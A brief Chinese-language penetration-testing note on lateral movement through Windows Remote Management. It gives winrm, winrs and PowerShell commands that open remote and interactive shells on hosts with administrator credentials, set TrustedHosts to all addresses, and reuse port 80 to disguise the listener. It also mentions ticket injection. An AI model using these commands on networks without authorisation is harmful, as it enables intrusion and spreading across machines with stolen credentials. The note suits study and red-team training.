横向移动-WINRM

WINRM

WinRM代表Windows远程管理，是一种允许管理员远程执行系统管理任务的服务。通过HTTP（5985）或HTTPS SOAP（5986）执行通信，默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。使用此服务需要管理员级别凭据。

前提

双方都要开启winRM，并且可以通信
Windows 2008 以上版本默认自动状态，Windows Vista/win7上必须手动启动；WinRS 适用于Windows 2008 以上版本；Windows 2012 之后的版本默认允许远程任意主机来管理。开启可以使用下面其中一条命令即可

winrm quickconfig -q
Enable-PSRemoting -Force

修改默认端口

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

查看winrm具体配置

winrm get winrm/config

设置允许所有ip链接

winrm set winrm/config/Client @{TrustedHosts="*"}

查看监听端口和ip

winrm e winrm/config/listener

远程管理

1.winrs

winrs -r:http://192.168.1.152:5985 -u:.\administrator -p:admin123 "whoami" # 执行单条命令
winrs -r:http://192.168.1.152:5985 -u:.\administrator -p:admin123 cmd # 返回交互式cmd

2.powershell

单条命令

Invoke-Command -ComputerName server01 -Credential domain01\user01 -ScriptBlock {Get-Culture}

交互式

Enter-PSSession -ComputerName 192.168.100.155 -Credential administrator

需要输入主机账户密码
可以使用票据注入执行

端口复用

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

winrs -r:http://192.168.1.131 -u:administrator -p:Aa1234 cmd

参考文章

tangsan/LM-WinRM-WinRS